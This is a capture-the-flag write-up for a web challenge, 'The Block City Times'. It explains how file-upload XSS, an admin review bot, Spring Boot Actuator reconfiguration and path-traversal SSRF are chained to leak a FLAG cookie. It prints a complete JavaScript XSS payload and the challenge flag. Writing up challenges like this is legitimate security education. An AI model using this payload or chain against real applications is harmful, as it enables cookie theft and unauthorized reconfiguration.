The Block City Times is here to inform you!
Initial Analysis
“The Block City Times” is a complex web application built with Spring Boot, involving multiple internal services (editorial, report-runner) and a Puppeteer-based bot. The challenge requires chaining several vulnerabilities to leak a sensitive FLAG cookie from an internal diagnostic service.
Solution
The attack follows a multi-stage exploit chain:
-
Arbitrary File Upload & XSS: The
/submitendpoint allows uploading “story” files. Although it checks theContent-Type, this is easily bypassed. Files are saved with their original extension and served via/files/{filename}. By uploading an.htmlfile withContent-Type: text/plain, we can achieve stored XSS. -
Administrative Bot Triggering: The
editorialservice automatically reviews every submission by visiting the uploaded file as an administrator. This allows our XSS payload to execute with administrative privileges. -
Actuator Abuse: The application exposes Spring Boot Actuator endpoints. Via XSS, the
editorialbot can be forced to modify application properties at runtime:- Disable production enforcement:
POST /actuator/envwithapp.enforce-production=false. - Switch to dev mode:
POST /admin/switch?config=dev.
- Disable production enforcement:
-
SSRF & Cookie Leakage: The
report-runnerservice logs in as an admin, sets aFLAGcookie, and visits a user-specified API endpoint. While it checks if the endpoint starts with/api/, this can be bypassed with path traversal (e.g.,/api/../files/exploit.html).
Exploit Payload (exploit.html)
<script> (async () => { const sleep = (ms) => new Promise((r) => setTimeout(r, ms)); const filename = location.pathname.split("/").pop();
// STAGE 2: If visited by report-runner, leak the flag to article tags if (document.cookie.includes("FLAG=")) { await fetch("/api/tags/article/1", { method: "PUT", headers: { "Content-Type": "application/json" }, body: JSON.stringify([document.cookie]), }); return; }
// STAGE 1: If visited by editorial bot, reconfigure the app and trigger report try { await fetch("/actuator/env", { method: "POST", headers: { "Content-Type": "application/json" },13 collapsed lines
body: JSON.stringify({ name: "app.enforce-production", value: "false" }), }); await fetch("/actuator/env", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ name: "app.active-config", value: "dev" }), }); await fetch("/actuator/refresh", { method: "POST" }); await sleep(2000);
const adminPage = await (await fetch("/admin")).text(); const csrfToken = adminPage.match(/name="_csrf" value="([^"]+)"/)[1];
const params = new URLSearchParams(); params.append("_csrf", csrfToken); params.append("endpoint", "/api/../files/" + filename);
await fetch("/admin/report", { method: "POST", body: params }); } catch (e) {} })();</script>After uploading the exploit (bypassing the extension check by modifying the filename to .html in the multipart request), the editorial bot triggers the reconfiguration and the report-runner. The flag is then leaked to the tags of Article 1.
Flag
UMASS{A_mAn_h3s_f@l13N_1N_tH3_r1v3r}